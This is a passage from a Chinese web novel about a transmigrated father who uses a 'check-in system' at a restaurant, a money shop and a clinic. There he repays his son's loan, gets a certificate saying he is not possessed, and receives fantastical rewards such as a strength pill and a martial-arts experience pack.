虽然强扭的瓜不甜,但是只要目的达成了,江源才不在乎用的是什么手段。
他好心过来请江天吃饭,完全是出于一片善意。
是奔着过来改善与这个“素未谋面”的二儿子之间的关系来的,可不是上赶着来找气受的。
再怎么说,他现在也是这小子的爹。
在这个以孝治国的大宣朝,只要他们一日没有彻底断了父子关系,没有签定断亲书,这小子在他的跟前就翻不了天。
就这样,父子二人相对而坐,默然的吃着桌面上丰盛的饭菜。
江河吃得心安理得,肆意畅然,心情大好。
而江天却吃得极为憋屈,如同嚼蜡,脸上没有一丝笑意。
终于,在江河将第一碗米饭吃完,准备去盛些三鲜汤来润口的时候,他的耳边骤然响起了他期待已久的提示声音:
“叮,发现新的签到地点,三河县,望福酒楼,请问是否签到?”
“签到!”
“叮,签到地点刷新成功,签到地——三河县,望福酒楼!”
“叮,宿主激活全新签到地点,触发新手福利暴击,此次签到宿主将获得十倍签到奖励!”
“叮!恭喜宿主签到成功,获得铜钱50文*10,【极品官燕】5只*10,【精品桂花酿】3坛*10,【秘制枣泥糕】10块*10!”
终于还是来了!
江河眼中闪现出一丝难以压抑的兴奋之色!
他之所以执意要在这望福楼内吃饭,还与江天唠了这么久的闲话。
除了是想要与这个二儿子缓和一下关系之外,更重要的就是,他要在这里待满至少一刻钟的时间。
只有这样,签到系统才会判定签到地点触发有效,才能顺利领取签到奖励。
现在他终于得偿所愿。
同时也再一次印证了他之前的推测——
只有在正规的、合法的生活类商铺之中,才有可能成功触发新的签到地点,得到相应的签到奖励。
也就是说,接下来除了粮店与酒楼这两大类别之外。
他还可以到县城内的布庄、染房、钱庄、当铺、书坊、药铺等等等等,这些正规商铺去不断的薅系统的羊毛。
这一刻,江河仿佛看到有无数的小钱钱在不断的朝他招手,激动得他的小心肝儿扑通扑通的一阵乱跳。
第51章 汇丰钱庄,**
望福楼内。
江河一边喝着三鲜汤,一边沉浸心神打量着物品内栏刚刚签到所得的那些物资。
五百文钱就不说了,刚好补充了他眼前这顿饭的饭钱。
【秘制枣泥糕】也还不错,是一款女人与孩子们都喜欢吃的小甜点,在望福楼内售卖的价格是十文钱一块,很受欢迎。
他这次签到共得了一百块这样的【秘制枣泥糕】,价值一贯钱左右。
只是这样的糕点一般都是现做现卖,黑市那边肯定是不收的。
想要换成钱的话,他只有自己找个地方去摆摊,但却不好解释这些糕点的来历。
所以,他只能留着给家里的孩子们当零嘴吃了。
而真正让他感到有些意外与惊喜的是,那五十只【极品官燕】,还有三十坛【精品桂花酿】。
这才是他这次签到所得的物品中,最有价值的东西。
桂花酿,是望福楼特有的招牌美酒,以其独特的桂花香气和醇厚口感闻名全县。
一坛普通的桂花酿放在黑市之中,怎么也能卖到一百文钱。
而精品桂花酿,价钱比之普通桂花酿直接翻三倍,能卖到三百文一坛,三十坛就是九贯钱!
而【极品官燕】,更是一个稀罕物。
因为数量稀少,且价格极为昂贵,一般只有那些有权有势又有钱的达官贵人才能吃得起。
一只极品官燕,在望福楼内的价格是六百文,黑市中的收购价可能会便宜一些,但是再怎么也不会少于五百文一只。
他现在拥有五十只,那就是二十五贯钱!
这两样东西加起来,价值超过三十贯,若是全都买成粮食的话,足够一个普通的十口之家,十几年的正常吃喝了。
江河强压下心中的激动,面上依旧平静无波地喝着三鲜汤。
他没想到这次在望福楼内的签到奖励竟然如此丰厚。
比他之前在粮店之中签到所得的那些物资的总价值,要高出数倍不止。
若是之后,他在其他商铺之中签到所得的奖励都远不及此处,那他以后说不得就要经常光顾这家望福楼了。
很快,一碗汤喝完,江河放下手上的碗筷,不再继续吃喝。
看了眼桌面上还剩下的大半只八宝鸭与清蒸鲈鱼,江河不由微皱了皱眉头,开口向江天说道:
“老二,你的饭量什么时候变得这么小了?”
“年纪轻轻的竟然还没有老子吃得多,咋的,在自己亲爹的跟前你也放不开?”
见江天闷着头继续小口的扒着碗里的米饭,根本就没有搭理自己,江河自讨了个没趣,淡声道:
“罢了罢了,反正老子已经吃好了,剩下的你爱咋咋滴吧!”
说着,江河直接站起身来,将桌面上的放着的五百文钱推到江天的跟前。
“这些钱是今天这顿饭的饭钱,一会儿你吃完了就拿着去寻掌柜的把账结了。”
“若是有剩余,你就收着当零花吧,老子走了!”
说完,不给江天反应的机会,江河就大跨步出了前厅,离开了望福楼。
呃?
江天稍微愣了一下,看了眼江河离去的背影,又看了看放在桌面上的这五百文钱,眼中闪现出了一丝极为意外,甚至感觉不可思议的神色。
“竟然……真的走了?”
过了好一会儿,江天才轻声自语的说了这么一句。
全没想到,江河这次非但没有再跟他胡搅蛮缠的索要财物,更没有在望福楼中闹得让他下不来台。
反而还真的掏钱请他吃饭,甚至还把剩下的钱都留给了他。
这完全不符合江河一贯的行为作风啊!
以前他恨不得挤走他们这些儿女们身上所拥有的每一文钱,何曾对他们这般大方过?
江天看着桌上安放着的这五百文钱,心里五味杂陈。
这顿饭需要支付三百二十五文,因为他是店内的伙计,由他过去寻掌柜的算账的话,那二十五文的零头应该能够抹去。
可即便是如此,也需要支付出足足三百文的饭钱。
江河现在给他留下了五百文去结账,结完账后至少还会有两百文钱的剩余。
两百文啊,都抵得上他小半年的工钱了,江河竟然说不要就不要,说给他就给他了?
这……还是他以前那个不把子女当人,且还嗜钱如命的渣爹吗?
咋感觉现在的这个江河,跟以前有些不大一样了呢?
他想起刚才江河对他说的那些话,不由轻声自语道:
“也许……我真的该抽个时间回去看看了。”
“看看老三、老四还有小妹他们过得怎么样,看看江河这个混账葫芦里到底卖的什么药……”
这么想着,江天抬手把桌面上的五百文钱收入怀中。
剩下的饭菜他没有再继续吃,而是找小荣要了一
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个食盒,准备打包回去给一双儿女吃。
半只八宝鸭和半条清蒸鲈鱼,足够两个小家伙好好的解解馋了。
却说江河。
离开了望福楼后,直接就奔向了三河县最大的钱庄——汇丰钱庄。
既为刷新新的签到地点,获取更多的签到奖励,也为提前给他们家老二偿还掉所有的外债。
之前他记忆缺失,不知道二儿子江天曾经被原身给坑得这么惨,直到现在身上都还背着外债也就罢了。
现在既然知道了,他自然就不能再当作什么都没有发生过。
再怎么说,江天也是他血脉关系上的亲儿子,他现在既然要立幡然醒悟、改过自新的人设,自然不能把这个二儿子给排除在外。
而替江天偿还外债,缓和两父子之间不可调和的冷漠关系,无疑会让他这个新人设在别人的眼中更能立得住脚。
汇丰钱庄坐落在县城最繁华的中心街区,是一座气派的二层小楼。
青砖灰瓦,飞檐翘角,门前立着两尊一人多高石刻雄狮,倍显威严庄重。
江河迈步走进钱庄,立刻有伙计迎上来:“客官是存钱还是取钱?”
“我来还贷。”江河开门见山,直接报上了江天的名字。
伙计了然点头,直接领着江河去了偏厅,找到掌管借贷事宜的账房先生。
账房先生翻找账册,很快就找到了与江天相关的借贷信息。
“你是江天的什么人?”账房先生抬头看了江河一眼,轻声询问确认。
“我是他爹,亲的!”江河催促道:“老先生您就别磨叽了,直接告诉我,他现在连本带息还欠贵号多少钱就是了。”
账房先生微微点头,看着账册上的录入信息,熟练的抬手在柜台上的算盘上面随意拨弄了几下,头也没抬的开口说道:
“借款人江天,两年前从我们钱柜支走了一贯钱,签的是月息五分的契书。”
“这两年间,他已经陆续还得欠款一贯零三十六文,如今连本带息,想要一次性将所有的借款全部还清的话,还需要再付给我们钱柜一贯六百八十六文钱。”
江河闻言,心中不由一阵咋舌,再次暗骂原身不是东西。
月息五分的借款,这不是妥妥的**么?
原身这狗东西当年竟然眼都不眨的就用江天的名义给借了出来,这特么不是纯纯的想要坑死自己的儿子么?
第52章 不讲道理讲物理
一贯六百八十六文钱,明显超出了江河身上的现金预算。
在来汇丰钱庄之前,他可没有想到,当年原身这狗东西利用江天的身份借出的一贯钱,竟然有着这么高的利息。
在原身的记忆中,关于利息的讯息可是半点儿也没有。
这说明了什么?
这说明原身这狗东西在借钱的时候,可能连利息是多少都没看。
或是看了也压根儿就没在意,更没有记在心里。
反正还钱的又不是他,他才不管钱庄给出的利息是多少呢。
只要他能把那一贯钱切实的拿在手里,能够给他的两个宝贝侄子交上束脩,能哄得老宅的父母高兴,尽了他的孝心,那就够了。
至于江天以后怎么还钱,能不能还得起,他才懒得理会。
唉!
江河忍不住在心中长叹了口气,现在他已经懒得再非议原身这个渣滓不干人事儿了。
这两天他光是给那狗东西擦屁股,擦得手都快要冒烟了,自己的三观下限,也一次又一次的被刷新。
如果不是他倒霉催的恰好穿越到了这样的烂人身上,没有了回头路,他才懒得管这些破事儿,背这些黑锅呢,太特么气人了。
“客官,一共是一贯六百八十六文钱,您看您是现在就一次性还清,还是再等两天分批偿还?”
见江河站在那里发呆,并没有要立即掏钱的意思,账房先生也不着急,更没有催逼,而是慢声细语的开口向江河询问。
事实上,他们钱庄巴不得这些借了钱的客户能够晚两年再把贷款还清,这样他们就可以再多收两年的利息了。
“钱,我肯定会还。”
“只是在还钱之前,这个利息咱们是不是还得再核对一遍,我咋感觉你给我算多了呢?”
江河身上没有那么多现钱,可是他却一点儿也不慌。
他站在柜台前,抬手指着账房先生身前的账本,开始胡搅蛮缠,要求账房先生当着他的面,再详细的核算一下利息。
账房先生一听这话,瞬间就红温了,满眼不善的看了江河一眼,冷哼一声道:
“客官说笑了,老夫在这里当了几十年账房,从来都没有算错过一分一厘,刚刚我核算出来的结余利息及本金,绝对不会有半点儿错误!”
账房先生很自信,他打了一辈子的算盘,对算学的研究也有一定的造诣。
他平生最喜欢向人炫耀的事情,就是他算了一辈子的账,从来都没有出现过任何大的纰漏,自然也就容忍不了别人对他算账能力的半点儿质疑。
换句话说就是,别人可以怀疑他的人品,但是却绝对不能怀疑他的专业!
算账,他是认真的,更是专业的!
见账房先生急了,江河反倒是更来劲了,继续作妖道:
“不能吧,我咋感觉你把利息给我多算了不少呢?”
“我儿江天这两年可一直都在还钱,你刚刚也说了,他陆续还了一贯零三十六文。”
“我现在问你,他还的这些钱放在你们钱庄里,你有给他算过利息吗?”
账房先生被问得一愣,随即皱眉道:
“客官此言差矣,还贷的钱哪有利息可算?”
“怎么不能算?”
江河理直气壮道:
“我们是按月还款,不管是还的利息还是本金,只要不是一次性还清,那就相当于是把这些钱暂存放在了你们钱庄。
等到什么时候我们把钱存够了,咱们之间的贷款借帐才算是完全抵消,这么说没毛病吧?”
账房先生紧揪着下巴上的小山羊胡,感觉江河说的这些简直就是歪理邪说。
可是,他一时之间却又找不到合适的理由来反驳。
因为从某种程度来说,江河所说的这些道理,是完全能够成立的。
可问题是,古往今来,从来都没有过这样的先例,也不可能会有哪家钱庄会认可这样的算法。
见账房先生似乎被自己给绕进去了,江河继续胡搅蛮缠道:
“既然我儿还的钱是暂存在了你们钱庄里,那么你们就应该给他算上相应的利息!”
说着,他又掰起自己的手指头,自顾自的口算起来:
“我儿这两年一共往你们这存了一贯零三十六文钱,平
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均每个月下来差不多是四十三文钱。”
“按照你们钱庄最低的存款利息算,两年下来,怎么也得有个上百文的利息收益,这笔钱,难道不该从贷款利息里扣除吗?”
账房先生被问得哑口无言,额头上都不自觉的冒出了冷汗。
他从未遇到过这样的问题,更没想过钱庄的账还特么能这么算!
“客官,你确定你是来替自家儿子还欠款,而不是来砸我们汇丰钱庄的场子的?”
思量了片刻后,账房先生有些幽怨的抬头看着江河问道,沉声道:
“你猜猜看,若是我把你刚刚说的这些歪理,一字不落的上报给我家掌柜,我家掌柜会不会让我给你把这些利息算上?”
“还有我们掌柜背后的东家,会不会让客官你平安离开我们汇丰钱庄?”
江河闻言,不由心神一凛。
他就知道,这些能够在封建社会开钱庄搞借贷的家伙,明里暗里就没有一个会是善茬儿。
这是道理讲不过,要跟他讲物理了啊。
好汉不吃眼前亏,原本他也没想过能跟这些放贷的讲通什么道理。
他之所以留在这里磨叽着不走,就是想要捱过一刻钟,刷新签到地点,在这里签个到而已。
若是因此招惹到了县里的地头蛇,引得麻烦上身,那就得不偿失了。
想到这里,江河连忙摆手讪笑道:
“老先生说笑了,我刚刚不过是跟你开个玩笑罢了,你看你怎么还当真了?”
“不瞒老先生,我今天过来,就是诚心来还钱来了……”
话还没有说完,江河的耳边就响起了熟悉的提示声音:
“叮,发现新的签到地点,三河县,汇丰钱庄,请问是否签到?”
“签到!”
“叮,签到地点刷新成功,签到地——三河县,汇丰钱庄!”
“叮,宿主激活全新签到地点,触发新手福利暴击,此次签到宿主将获得五倍签到奖励!”
“叮!恭喜宿主签到成功,获得铜钱500文*5,碎银一两*5,红木算盘一副*5,飞凤银钗一支*5!”
第53章 安民医馆
不愧是钱庄啊,果然是来钱的地方!
虽然这次签到只触发了五倍签到奖励,让江河倍感遗憾,但是当他看到奖励的具体内容时,瞬间就释然了。
两千五百文钱。
五两碎银子。
五副制作精良的红木算盘。
五支飞凤样式的女式银质头钗。
红木算盘也就罢了,江河不知道它们具体值多少钱。
但是剩下的这三样,可全都是实打实的硬通货,是可以直接拿出来消费的实在货币啊。
五两银子,可以在钱庄直接兑换出五贯铜钱,也可以拿到市场里直接买卖购物。
五支飞凤银钗,不但做工精良,纹络流畅美观,用料也极为扎实,每支都差不多有二两重。
就算不论它们自身的工艺价值如何,只把它们当寻常的银子去花,也能值个十贯左右。
也就是说,仅是这一次签到,江河就得到了十七贯五百文的现钱。
虽然比之在望福楼的签到奖励稍逊色了些,但是这些可都是现钱啊。
不用他再去黑市冒险倒手转卖,就可以直接拿出来花销的现钱,谁不喜欢?
而且。
莫要忘了,他之前在望福楼签到的奖励触发的是十倍暴击奖励。
而在这汇丰钱庄所触发的却是五倍暴击奖励。
所以,若是单论签到奖励本身基础物品的价值而言,肯定还是钱庄这边更胜一筹。
“客官,客官!”
账房先生见江河话说了一半,就直接呆愣在了那里,一个劲儿的傻笑,不由微皱着眉头轻唤了两句,道:
“这位客官,你若是来的还钱的话,我们欢迎。”
“可你若是故意过来捣乱的,我们汇丰钱庄可也不是吃素的……”
他刚刚就看江河有些不顺眼了。
这个家伙不但质疑了他的专业能力,竟然敢反过来跟他们汇丰钱庄索要还贷银钱的利息,简直就是异想天开,活得不耐烦了。
啪!
回过神儿来的江河,二话不说,直接就从自己的怀里“掏”出了两串铜钱,扔放到了账房先生跟前的柜台上。
“老先生,你看你又急,我刚刚只是跟你开了个玩笑而已,真没有别的意思。”
“而且我这次过来,也是真心想要把这笔欠款还上,你看,钱我都带来了!”
有了钱,江河说起话来也比之前多了不少底气。
他刚才跟账房先生说的那套理论,放在这个时代虽然有些离经叛道,不为主流所容。
但他也只是过过嘴瘾,随口说说而已,又不是真个要找钱庄反过来支付他还贷的复息。
只要他不再继续作妖闹腾,钱庄的掌柜和东家哪里会把他这个乡下来的小混混当盘菜?
账房先生看着柜台上的两贯钱,脸色稍缓。
他仔细清点确认之后,恢复常态,朗声向江河说道:
“客官,收您现钱两贯,结完欠款之后还有三百一十四文钱的结余。您是直接带走,还是存在我们这里?”
江河道:“直接带走,不过只给我三百文即可,剩下的十四文不用找了,就当是我给老先生赔罪了。”
账房先生闻言,脸上这才露出一丝笑容。
十四文虽然不多,但他要的就是江河这个认错懂事的态度。
“罢了,看在你这么懂事的份上,刚才的事情老夫就当没发生,你说的那些话,老夫也当什么都没听到,此事就到此为止了。”
说着,账房先生手脚麻利地为江河办理还款手续。
不一会儿,就把当初留底的借据和还款凭证交给了江河。
“有劳老先生了!”
江河收起凭证,拱手向账房先生致谢,然后才心满意足地走出钱庄。
这次过来汇丰钱庄,不仅顺利还清了压在老二身上的所有债务,还获得了如此丰厚的签到奖励,实在是太值当了。
出了汇丰钱庄,刚走没两步,江河就看到了一家名为“安民医馆”的中医馆。
他抬手摸了一下自己头上还隐隐作痛的伤口,没再多想,直接就抬步走向了这家“安民医馆”。
看病什么的只是其次,刷新签到奖励才是他的主要目的。
安民医馆坐落在三河县最繁华的中心街区,与汇丰钱庄仅一街之隔。
医馆的大门选用上等的乌木制成,表面未施漆彩,却因年深日久的摩挲呈现出温润的光泽。
门板上雕刻着简洁的灵芝纹样,铜质门环被打磨得锃亮,整体显得古朴厚重,透着一股低调的奢华。
江河迈步走进医馆,一股浓郁的药香扑面而来。
馆内陈设讲究,左侧是一排整齐的药柜,右侧设着几张诊桌,几位坐堂大夫正在为病人诊治。
见有客人上门,馆内的一位药童主动迎上前来:“客官是看病还是抓药?”
“前几日不小心磕到了头,直到现在都还有些隐隐作痛,想请大夫给看看。”
江河抬手指了指自己的脑袋,轻声向药童说道。
药童了然,遂开口向江河介绍道:
“若是看外伤的话,客官可去寻我们医馆内的陈医师,他最擅长医治跌打损伤。”
说着,药童便将江河给引到了位于医馆右侧,最靠近大门处的看诊台前。
坐在诊台前的陈医师,是一位精神矍铄的老者。
看上去约有六十余岁,须发皆白,面容慈祥,眼角带着深深的笑纹,让人一见就心生亲近之感。
江河被药童带过来的时候,陈医师诊台前的病患正好起身前去抓药。
见江河头上有包扎的痕迹,陈医师不由抬手招呼着江河在对面的椅子上坐下。
“伤了多久了?磕到了
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什么地方?当时可曾昏过去了?”
陈医师一边询问,一边抬手缓缓打开了江河头包扎着的布条,检查着伤口处的详细情况。
江河如实回道:“两天前在家不小心摔倒,磕到院里堆放的木头上了。”
“当时就昏过去了,还闭了气,家里人都以为我没了,连寿衣都给我穿上了。”
“后来我在屋里躺了一夜,慢慢的又缓了过来,这才没死成。”
“不过现在,我时常会感觉有些头疼、头晕,还会想起很久以前发生的事情,脾气也变得跟以前有些不一样了。”
陈医师闻言,微微点头道:“磕得确实是有些严重,难怪会闭了气去。”
“你这也算是福大命大,没有磕到紧要之处,否则可就不是闭气,而是真的再也醒不过来了。”
“至于你说的头疼头晕,还有脾气、记忆方面的变化,都是头脑受伤之后表现出来的正常现象,不必忧心。”
陈医师说着,将手从江河的头上收回,又返身坐回了看诊台,提笔开始写药方:
“你现在的伤口看上去已无大碍,不过毕竟是磕到了脑袋,还需服药静养几日更为妥贴。”
“我给你开几副活血益气、安神养神的药,你吃上几日,头疼头晕的症状应该就能有所缓解。”
江河趁机问道:“陈医师,我听说有人磕到头后会突然之间性情大变,这可是真的?”
陈医师头也不抬地回答:“头部乃诸阳之会,受创后确实可能影响神智。轻者记忆有损,重者性情大变,这都是医理可循的。”
听到自己想要的答案,江河不由向前倾了倾身子,刻意压低了声音,小心翼翼的向陈医师说道:
“不瞒陈医师知晓,我前几日磕到头后,确实感觉与以往有所不同,也做了一些我以前一直想做却不敢做的事情。”
“现在村里有很多人都在谣传,说我是被邪祟附体,被鬼怪迷了心智,想要把我赶出村子,甚至还有人想要把我直接烧死,我……我有点儿害怕……”
陈医师闻言,提笔的手猛的一顿,不由抬头朝江河看来,眼中也不自觉的带上了几分怜悯之色。
江河所说的这种情况,以前不是没有发生过。
陈医师行医数十载,看诊过的伤患不计其数。
这其中就有不少因为伤到了脑袋而致使性情大变的倒霉蛋,被那些无知的村民,甚至是自己最亲的家人,给绑到火刑架上直接烧死的例子。
眼前这个同样磕到了脑袋的家伙,显然也是这样的倒霉蛋。
不过他倒还算聪明,知道跑来医馆寻求医师的帮助。
只是,他只是一个寻常的医师而已,可以治病,却治不了人心。
他给出的诊断结果,那些已经被固有观念给迷了心智的村民,可未必会认。
第54章 【八段锦**经验包】
“说说看,你想让老夫怎么帮你?”
陈老医师满眼怜悯的看着江河,轻声言道:
“先说好,老夫只是一个小小的医师而已,人言轻微,除了给你看病疗伤,或是给你书写一份加盖了我们医馆印章的诊断证明之外,别的也帮不到你什么……”
为了防止江河抱有太大的希望,或是不知进退的对他狮子大开口,陈医师提前将自己能做的事情说讲了出来。
以前他也不是没有遇到过类似江河这样的情况。
尤其是那些生活在乡村之中的倒霉蛋,头部受伤之后性情大变,就像是完全换了一个人。
最终他们无一例外,不是被别人给当成邪祟烧**,就是自己受不了周围人的冷眼或是指点,或是跳河或是上吊自我了断了。
当然,也有一些大聪明想要逃离避难,结果因为户籍及路引限制,根本就出不了所在的县域。
除非他想要一辈子躲在深山老林之中当流民,否则仍难逃被遣送回原籍的命运。
所以,哪怕是陈医师明知道他们这些人并非是什么邪祟附体,而是大脑受到损伤之后的正常病理反应,他也无可奈何。
他毕竟只是一个医师而已。
他能医病,能治伤,可是他却改变不了那些愚昧之人的内心,挽救不了那些可怜之人的命运。
就像是眼前这个主动过来向他求救的倒霉蛋。
陈医师几乎已经可以预见到他接下来即将要面临的惨剧与困境。
只是,能预见又如何?
心怀怜悯又能怎么样?
他不还是一样改变不了对方的接下来的命运么?
江河只当是没有看到陈医师眼中流露出来的怜悯之色,他一把抓住陈医师的双手,面露感激之色,切声道:
“我不求别的,只需要老医师您给我开具一份详细的诊断证明,能够证明我并非是邪祟或是鬼怪附体,那就足够了!”
“另外我还想再问一句,贵医馆出具的诊断证明,若是拿到县衙里去,县衙里的官老爷们不会不认吧?”
陈医师闻言,胸膛一挺,自信言道:
“那不能够!我们安民医馆可是三清县官医院的直属医馆,我们出具的诊断证明,别说是在县里,就算是到了郡府,也一样管用!”
听到这话,江河一下就把心放进了肚子里。
他就说,能够把医馆开在县城里最繁华的中心区域,这家安民医馆必然是来头不小。
再怎么,也要比他们下河村里的驻村医官贾郎中,更具权威。
只要拿到了这份连县衙里的官老爷都认可的诊断证明,他就算是有了一张护身符。
以后回到了村里,谁要是敢再说他是邪祟附体,是什么鬼怪迷神,看他不把丫打出屎来!
“既如此,那就劳烦陈医师帮在下开具一份这样的诊断证明。”
江河仿佛是抓到了一根救命稻草一样,故作纯真的欢声说道:
“有了它,以后应该就不会有人再说我是邪祟附体,村里的谣言自然就会不攻自破了。”
陈医师闻言,看向江河时眼中的怜悯之色更甚了,他忍不住出言提醒道:
“年轻人,你想要的诊断证明老夫现在就可以给你开,但是老夫劝你还是不要太过乐观。”
“医馆的诊断证明,县衙里的官老爷虽然会认,但是你所在的村庄内的村民,可未必会认。
你若是想要抵制那些谣言,最好还是想想别的办法……”
所谓县官不如现管。
县衙里的官老爷们,可不会时刻关注着辖下某个小村庄里一个微不足道的村民。
村子里的里正、地方宗族的族长,还有他身边的父母、子女等至亲的态度,才是能够决定他生死的关键。
若是这个年轻人连这些都领悟不到的话,那他接下来的命运必然会十分凄惨。
陈医师的话江河自然是听明白了。
不过他并没有跟陈医师多说什么,只是一个劲儿的感谢陈医师,请陈医师快点给他开具诊断证明。
看他的样子,仿佛是把所有的希望,全都放在了这张诊断证明上。
陈医师见他不开窍,只得无奈的摇着头轻叹了口气。
询问了一下江河的出身籍贯之后,便开始提笔书写起了相应的诊断证明:
【今诊得下河村患者江河,因头部受创,致神智有变,性情异于往常。此乃伤后常见之症,与邪祟无涉。特此证明。】
最后的落款处,更是清晰的明了的写上了他自己的名字:
【出诊医师:三河县,安民医馆,陈平安。】
之后,陈医师不但在最后的落款上盖上了自己的私章,也去柜台找到医馆的东家,加盖上了他们安平医馆的公章。
至此,这份病情诊断证明,才算是具备了一定的法律效用。
江河笑眯眯的从陈医师的手中,将这份新鲜出炉的诊断证明接过,再次诚心向陈医师表示感谢。
就在他将这份诊断证明收入
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怀中,并悄然存进了物品栏内时,耳边也适时的响起了他期待已久的提示声音:
“叮,发现新的签到地点,三河县,安民医馆,请问是否签到?”
“签到!”
“叮,签到地点刷新成功,签到地——三河县,安民医馆!”
“叮,宿主激活全新签到地点,触发新手福利暴击,此次签到宿主将获得六倍签到奖励!”
“叮!恭喜宿主签到成功,获得铜钱50文*6,【百年野山参】一支*6,【特效大力丸】一颗*6,【八煅锦**经验包】一份*6!”
听到签到系统的提示音结束,江河的神色不由一愣。
感觉这次的签到奖励之中,好像混进了一些奇怪的东西。
【特效大力丸】也就罢了,赖好也跟医药沾点儿关系。
但是这个【八段锦**经验包】是什么鬼?
以前他玩【美好生活】这款游戏时,每天的签到奖励中有这种东西吗?
他好像从来都没有遇到过吧?
心中带着好奇,江河第一时间引动心神探向了物品栏。
当他的意念集中到刚刚签到得来的这三样物品上时,它们的相关信息也直接浮现在他的脑海之中:
【百年野山参】
品质:珍品
年份:一百二十年
功效:大补元气,复脉固脱,补脾益肺,生津养血,安神益智
说明:生长于长白山深处的野生人参,采天地灵气,集日月精华。
对于气血两亏、久病虚弱者有奇效,亦可助武者突破瓶颈。
服用时可切片含服,或泡酒、炖汤,注意不可过量,虚不受补者慎用。
【特效大力丸】
品质:稀有
成分:虎骨、鹿茸、当归、黄芪等十八味名贵药材
功效:强筋健骨,增强气力,加速伤势恢复
说明:采用古法秘制的大力丸,能够永久增加服用者五十斤力气。
每日限服一粒,多服无效。
特别适合体力劳动者和习武之人使用,无副作用。
【八段锦**经验包】
品质:特殊
内容:完整八段锦修炼法门及十年修炼经验
功效:强身健体,延年益寿,调和气血,稳固根基
说明:使用后可立即掌握八段锦全套**,并获得相当于普通人苦修十年的功力。
此**动作舒缓,老少皆宜,长期练习可疏通经络,增强免疫力,对调理慢性疾病有奇效。
第55章 我现在强得可怕
我去!
看到这三样物品的详细信息介绍,江河直接就惊呆了。
百年人参也就罢了,谁都知道那是救命续命的好宝贝,不管是拿到黑市还是药店、医馆,都会有人抢着出价购买。
但是跟后面的特效大力丸还有八段锦**经验包一比,百年人参瞬间就逊爆了!
特效大力丸,每颗就能永久的增加服用者五十斤力气。
他现在有六颗,分六天全部吃下去的话,那可就是三百斤的力气啊。
江河现在正值壮年,而且身高体壮,他本身就拥有超过一百五十斤的气力。
若是再加上这三百斤,那就是四百五十斤,是普通成年男性的三到四倍!
这样的力气,单手拎起两百斤甚至三百斤左右的重物,估计都跟玩儿的一样,妥妥的大力士啊。
更牛逼的是,这三百斤力气还是永久增加!
也就是说,哪怕他以后老了衰了,身体机能开始自然退化了,这额外增长的三百斤的力气,也依然还会存在。
想想看,当他七老八十,垂垂老矣,头发花白,满脸褶皱,甚至连牙齿都掉光的时候。
他本身却还能拥有超过三百斤的力气,还能健步如飞的满街跑,还能一拳打死一头猪,打伤一头牛,会是一件多么令人震惊的事情?
百年人参再牛逼,能让他在六天之内就永久的增加三百斤的力气吗?
能让他在垂垂老矣的时候,还健步如飞,一拳挥出三百斤的力道吗?
还有那八段锦**经验包,更是比特效大力丸还要难得与珍贵的东西。
一个经验包,就能让他在获取八段锦全套**的同时,再获得相当于普通人苦修十年的功力。
他现在一次性得了六份这样的经验包,也就是说,在他将这些经验包全部使用之后,他就能得到足足六十年的八段锦修行经验与功力。
六十年的功力啊,光是听着就让人觉得牛逼得不要不要的。
更重要的是,修行八段锦的主要功效是什么?
强身健体!
延年益寿!
调和气血!
稳固根基!
听听听听,全都是有效增益!
尤其是“延年益寿”这一项,更是让江河看得心痒痒。
只要是个正常人,谁特么不想自己长命百岁再百岁再百岁再百岁……
江河重活一世,自然也想自己能够活得更长久一些。
若是能在长寿的同时,身体更健康,精气神更饱满,浑身有使不完的力气,那就更完美了。
所以现在,当他看到特效大丸与八段锦**经验包这两样东西,同时出现在他的物品栏中时,他瞬间就有些按捺不住了。
不管是健康、长寿还是永久增加的三百斤的力气,这全都不是能以金钱来购买和衡量的东西。
至少在江河这里,它们全都是无价之宝,是别人给他出多少钱,他都绝对不会卖的宝贝。
揣着刚刚得来的医疗诊断证明书,江河匆匆向陈医师告别。
寻了一个少有人经过的小胡同,迫不及待的取出一颗特效大力丸。
药丸只有龙眼大小,呈棕褐色,表面光滑细腻,隐隐泛着琥珀般的光泽。
药丸的质地紧密,入手微沉,凑到鼻端轻嗅,可以闻到它散发出来的淡淡的药材清香。
江河没有过多犹豫,一抬手就把这颗药送到了口中。
药丸入口即化,无需费力咀嚼吞咽就自然流入江河的喉咙及食道之中。
初入口时感觉微苦,不过随即便化作一股清凉的薄荷感,最后在喉间留下一丝甘甜的回味。
片刻后,一股暖流自胃腹及丹田升起,缓缓流向四肢百骸。
五脏六腑如被温水洗涤,通体舒泰。原本身上所拥有的些许疲惫感也被一扫而空,使其精神为之一振。
更重要的是,江河感觉自己浑身的肌肉都在微微发胀。
全身上下,仿佛有使不完的力气,让他有一种自己能一拳打死一头牛的强大错觉。
药效持续了差不多一刻钟左右才缓缓消退。
其间并没有让江河产生任何不适或乏力感,有的只是无尽的力气与亢奋激动的心情。
他用力的握紧双拳,感受着自己拳头上所蕴藏着的充足力量,心情大美。
才增加了五十斤的力气,就让他的身体发生了这么大的变化。
若是他把剩下的五颗特效大力丸全部服用完,再增加两百五十斤的力气了,那他岂不是会变得更加强大?
可惜,这东西每日只限服一颗,多则无效,他只能耐下性子,等到明日这个时候再服用第二颗。
不过,特效大力丸虽然不能再吃了,但是他还有八段锦的**经验包啊。
这个才是今天的重头戏,也是江河最为期待的好宝贝。
刷!
江河心神一动,将存放在物品栏中的那个泛着蓝色光晕的经验球取了出来,右手用力稍稍一捏。
蓝色光球瞬间化作点点光晕,如春风细雨一般,快速融入到他的体内。
顷刻间。
一股温润舒缓的气流自他的头顶百会穴涌入
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,如春雨般滋润着他的四肢百骸。
他整个人微微一震,随即便陷入到了一种玄妙的状态之中。
恍惚间,他仿佛看到脑海中浮现出一道模糊的人影。
这道人影正一遍又一遍地演练着八段锦的一招一式,从生疏到熟练,从熟练到精通,日复一日,年复一年。
第一年,人影动作青涩,却在坚持中打下坚实基础。
第二年,招式渐趋圆融,呼吸开始与动作相合。
第三年……
第五年……
第十年,演练时已隐隐带着某种韵律,周身气息流转,浑圆如一,再无半分停滞……
整整十年的修炼记忆如涓涓细流,缓缓融入江河的识海。
八段锦的每一个动作的要领、每一式呼吸的节奏,都深深烙印在他的识海深处。
他不由自主地摆出起手式,身体仿佛有自己的意识般开始演练八段锦:
双手托天理三焦!
左右开弓似射雕!
调理脾胃须单举!
五劳七伤向后瞧!
……
片刻。
一套完整的八段锦打完,待收势完毕,江河缓缓睁开双眼。
只觉耳聪目明,呼吸绵长而深沉,筋骨柔软且充满了韧性。
原本隐隐作痛的头部伤口处传来阵阵清凉与麻痒,竟已痊愈大半。
这一刻,他感觉自己浑身都舒畅无比,仿佛一下年轻了十岁!
这样的感觉简直不要太舒爽,江河都有些上瘾了。
